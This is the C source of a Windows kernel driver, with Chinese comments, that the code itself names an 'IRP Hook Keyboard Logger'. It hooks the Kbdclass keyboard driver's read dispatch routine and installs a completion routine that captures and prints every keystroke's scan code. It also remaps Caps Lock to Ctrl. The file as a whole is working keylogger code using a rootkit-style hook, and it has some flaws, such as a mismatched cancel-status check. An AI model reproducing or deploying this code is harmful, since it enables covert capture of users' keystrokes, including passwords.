#include <wdm.h>
#include <ntddkbd.h>
#include "IRPKlog.h"

//要获取的设备驱动名
#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass"
//保存原有分发函数指针
PDRIVER_DISPATCH OldDispatchRead;
//保存键盘驱动设备对象
PDRIVER_OBJECT KbdDriverObject;
//未完成的IRP数目，不跟踪的话卸载驱动时会死得很难看
int numPendingIrps = 0;
extern POBJECT_TYPE IoDriverObjectType;
//保存当前pending的IRP 用于卸载时取消
PIRP PendingIrp = NULL;

BOOLEAN
CancelKeyboardIrp(IN PIRP Irp)
{
    if (Irp == NULL)
    {
        DbgPrint( "CancelKeyboardIrp: Irp error\n" );
        return FALSE;
    }
  
    //
    // 这里有些判断不是必须的，不过还是小心点好
    //
    if ( Irp->Cancel || Irp->CancelRoutine == NULL )
    {
        DbgPrint( "Can't Cancel the irp\n" );
        return FALSE;
    }
  
    if ( FALSE == IoCancelIrp( Irp ) )
    {
        DbgPrint( "IoCancelIrp() to failed\n" );
        return FALSE;
    }
  
    //
    // 取消后重设此例程为空
    //
    IoSetCancelRoutine( Irp, NULL );
  return TRUE; 
}

//驱动卸载函数
VOID Unload( IN PDRIVER_OBJECT pDriverObject)
{
  PDEVICE_OBJECT pDeviceObj;
  LARGE_INTEGER  lDelay;
    PRKTHREAD CurrentThread;
  
    //delay some time 
    lDelay = RtlConvertLongToLargeInteger(100 * DELAY_ONE_MILLISECOND);    
    CurrentThread = KeGetCurrentThread();
    // 把当前线程设置为低实时模式，以便让它的运行尽量少影响其他程序。
    KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);
  //还原IRP hook
  InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldDispatchRead);
  
  // 如果还有IRP 未完成且当前IRP有效则尝试取消这个 IRP
  pDeviceObj = pDriverObject->DeviceObject;
  if (numPendingIrps > 0 && PendingIrp != NULL)
  {
    if (CancelKeyboardIrp(PendingIrp) == STATUS_CANCELLED)
    {
         
            DbgPrint( "成功取消IRP\n" );
            goto __End;
    }
  }

  
  DbgPrint("There are %d tagged IRPs\n",numPendingIrps);
  //DbgPrint("等待最后一个按键...\n");
  while (numPendingIrps)
    {
        KeDelayExecutionThread(KernelMode, FALSE, &lDelay);
    }
__End:
  DbgPrint("删除设备……\n");  
  IoDeleteDevice(pDeviceObj);
  DbgPrint("Driver Unload OK!\n");
  return;
}

//MJ_READ 的回调函数
NTSTATUS OnReadCompletion( 
                              IN PDEVICE_OBJECT DeviceObject, 
                              IN PIRP Irp, 
                              IN PVOID Context 
                              )
{
  ULONG buf_len = 0;      
    PUCHAR buf = NULL;
    size_t i,numKeys;
  PKEYBOARD_INPUT_DATA KeyData; 
  PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp);
    //  如果这个请求是成功的。很显然，如果请求失败了，这么获取
    //   进一步的信息是没意义的
  if( NT_SUCCESS( Irp->IoStatus.Status ) ) 
    {
        // 获得读请求完成后输出的缓冲区
        buf = Irp->AssociatedIrp.SystemBuffer;
    KeyData = (PKEYBOARD_INPUT_DATA)buf;
        // 获得这个缓冲区的长度。一般的说返回值有多长都保存在
        // Information中。
        buf_len = Irp->IoStatus.Information;
    numKeys = buf_len / sizeof(KEYBOARD_INPUT_DATA);
        //简单打印扫描码
    for(i=0;i<numKeys;++i)
        {
            //DbgPrint("ctrl2cap: %2x\r\n", buf[i]);
      DbgPrint("\n");
      DbgPrint("numKeys : %d",numKeys);
      DbgPrint("ScanCode: %x ", KeyData->MakeCode ); 
      DbgPrint("%s\n", KeyData->Flags ?"Up" : "Down" );
      print_keystroke((UCHAR)KeyData->MakeCode);

      if( KeyData->MakeCode == CAPS_LOCK) 
      { 
        KeyData->MakeCode = LCONTROL; 
      } 
        }
    }
  DbgPrint("Entering OnReadCompletion Routine...\n");
  //完成一个IRP
  numPendingIrps--;  
  
  if( Irp->PendingReturned )
  { 
    IoMarkIrpPending( Irp ); 
  } 
  
  //调用原来的完成函数，如果有的话
    if ((Irp->StackCount > (ULONG)1) && (Context != NULL))
  {
    return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject, Irp, NULL);
  }
  else
  {
    return Irp->IoStatus.Status;
  }
}

//新的分发函数
NTSTATUS NewDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
  
  //DbgPrint("Entering NewDispatchRead Routine...\n");  
  //设置完成函数
  PIO_STACK_LOCATION irpSp;
    irpSp = IoGetCurrentIrpStackLocation(pIrp);
  
  irpSp->Control = 
    SL_INVOKE_ON_SUCCESS|
    SL_INVOKE_ON_ERROR|
    SL_INVOKE_ON_CANCEL;
  
  //irpSp->Control = SL_INVOKE_ON_SUCCESS;
  //保留原来的完成函数，如果有的话
  irpSp->Context = irpSp->CompletionRoutine;
  irpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)OnReadCompletion;  
  DbgPrint("已设置回调函数...\n");   
  //递增未完成的IRP数目
  numPendingIrps++;  
  if (numPendingIrps > 0)
  {
    PendingIrp = pIrp; 
  }
  return OldDispatchRead(pDeviceObject,pIrp);
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING RegistryPath)
{
  NTSTATUS status = 0;   
  UNICODE_STRING KbdNameString;
  PDEVICE_OBJECT pDeviceObject;
  
  DbgPrint("IRP Hook Keyboard Logger --DriverEntry\n");
  // 初始化Kdbclass驱动的名字
    RtlInitUnicodeString(&KbdNameString, KBD_DRIVER_NAME); 
  //就这个程序而言，不需要创建设备及链接
  
  status = IoCreateDevice( 
            pDriverObject, 
            0,       //暂时设为0
            NULL,     //不用名字先
            FILE_DEVICE_UNKNOWN, 
            0, 
            TRUE,     //设为TRUE表示驱动独占，多数为FALSE
            &pDeviceObject 
            ); 
  if (!NT_SUCCESS(status))
  {
    DbgPrint("Create device error!\n");
    return status;
  }
  
  //设置驱动卸载函数
  pDriverObject->DriverUnload = Unload;
  //获取驱动设备对象
  status = ObReferenceObjectByName( 
        &KbdNameString, 
        OBJ_CASE_INSENSITIVE, 
        NULL, 
        0, 
        IoDriverObjectType, 
        KernelMode,
        NULL, 
        &KbdDriverObject    //保存得到的设备对象
        ); 
  if (!NT_SUCCESS(status))
  {
    //如果失败
    DbgPrint("Couldn't get the kbd driver object\n");
    return STATUS_UNSUCCESSFUL;
  }
  else
  {
    //解除引用
    ObDereferenceObject(KbdDriverObject);
  }
  OldDispatchRead = KbdDriverObject->MajorFunction[IRP_MJ_READ];
  //原子交换操作 
  InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],NewDispatchRead);
  return status; 
}